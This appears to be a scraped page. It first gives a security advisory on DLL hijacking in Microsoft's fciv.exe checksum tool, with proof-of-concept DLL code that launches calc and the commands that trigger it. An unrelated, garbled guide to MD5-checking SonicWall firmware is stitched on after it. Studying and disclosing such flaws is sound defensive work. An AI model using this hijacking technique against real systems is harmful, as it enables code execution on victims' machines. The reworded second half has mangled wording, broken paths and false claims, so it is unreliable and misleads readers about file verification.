Credits: John Page (aka hyp3rlinx)[+] Website: hyp3rlinx.altervista.org[+] Source: +] ISR: Apparition Security[Vendor]www.microsoft.com[Product]File Checksum Integrity Verifier version 2.05 fciv.exeDownload: from the FCIV ReadMe.txt file. Fciv is a command line utility that computes and verifies hashes of files. It computes a MD5 or SHA1 cryptographic hash of the content of the file. If the file is modified, the hash is different. With fciv, you can compute hashes of all your sensitive files. When you suspect that your system has been compromised, you can run a verification to determine which files have been modified. You can also schedule verifications regularly. [Vulnerability Type] DLL Hijacking Arbitrary Code Execution[CVE Reference]N/A[Security Issue]File Checksum Integrity Verifier fciv.exe will load and execute arbitrary DLLs CRYPTSP.dll or USERENV.dllwhen verifying a file hash, if one of those DLLs exist in the same directory (CWD) from where FCIV is run. During testing I observed that on a Windows 10 system both CRYPTSP.dll or USERENV.dll will execute no problem. However, only CRYPTSP.dll seems to work on the Windows 7 machine I tested. Therefore, if a malware is named CRYPTSP.dll or USERENV.dll and you try to verify its hash it will instead get executed. Upon successfull exploit user will get the following error.//// File Checksum Integrity Verifier version 2.05.//Error during CryptAcquireContext. Error msg : The specified procedure could not be found. Error code : 7fAgain, to exploit this the victim must run the FCIV from an infected directory where the compromised DLL lives.c:\>fciv.exe CRYPTSP.dllOR from network share where an attacker has write privileges.net use z: \\x.x.x.x\c\$\user:victimz\Users\victim\Desktop>fciv.exe c:\WindowsThis was tested successfully on Windows 7/10[Exploit/POC]Create a DLL named cryptsp.dll and download to your default Downloads directory or wherever.evil.c#include <windows.h>#include <gcc-shared -o cryptsp.dll evil.cvoid evilo(void){WinExec(calc, 0);} BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){evilo();return 0;} Start fciv.exe from the same dir cryptsp.dll </windows.h> </windows.h> to check the DLL hash. C: Users victimDownloads>fciv.exe cryptsp.dllBOOM! The hash is not verified, but we get arbitrary execution of the code... This article provides information on how to confirm an MD5 check to confirm the integrity of the file. RELATED: As the firmware is loaded on the network, it could potentially become damaged. The causes of this vary, such as services that crash and reboot while downloading, poor sectors on storage facilities or malware infections. Before downloading the firmware image, the administrator must confirm that the image has not been altered. Go to mysonicwall.com. Log in and click My Downloads.Locate corresponding firmware: In modern mode, this is achieved by hovering the mouse over (the) icon on the right side of the firmware download the record. In classic, the MD5 hash is recorded under the file name. After recording the correct hash, check the uploaded image to make sure it's intact. In Linux or MacOS- Use your native MD5 hashing tool for your platform. More often than not it will be the md5sum team on linux, and the md5 team at MacOS:md5sum sw_tz-215w_eng_5.9.1.11-workset-5.9.1.11_3o_1167025.sig 88dbef1c6fa3b86427c5ecfc18e8fe0f 1.11-workset-5.9.1.11_3o_1167025.sigORmd5 sw_tz-215w_eng_5.9.1.11-workset-5.9.1.11_3o_1167025.sigMD5 sw_tz-215w_eng_5.9.1.11-workset-5.9.1.11_3o_1167025.sig sw_tz-215w_eng_5.9.1.11-workset-5.9.1.11_3o_1167025.sig For Microsoft Windows Systems - Windows Systems do not have a native tool to verify the integrity of files. You'll have to download the tool from Microsoft. Use Microsoft File Checksum Integrity Verifier, which can be downloaded here at the time of writing. Once you've removed the file, you must either use the full path to run the command, or you must copy the fciv.exe file into the C folder: Windows\System32 to run it without a system path. To launch the hashing tool fciv.exe, open the team's hint and enter:fciv.exe sw_tz-215w_eng_5.9.1.11-WorkSet-5.9.1.11_3o_1167025.sig// File Checksum Integrity Verifier version 2.05/2 sw_tz-215w_eng_5.9.11\workset-5.9.1.11_3o_1167025.sigIf generated hash identical to the hash listed on SonicWall.com, The file has been verified. If the hash doesn't match, then you have a damaged file and you have to purchase the file again. Once again, file checksum integrity verifier version 2.05
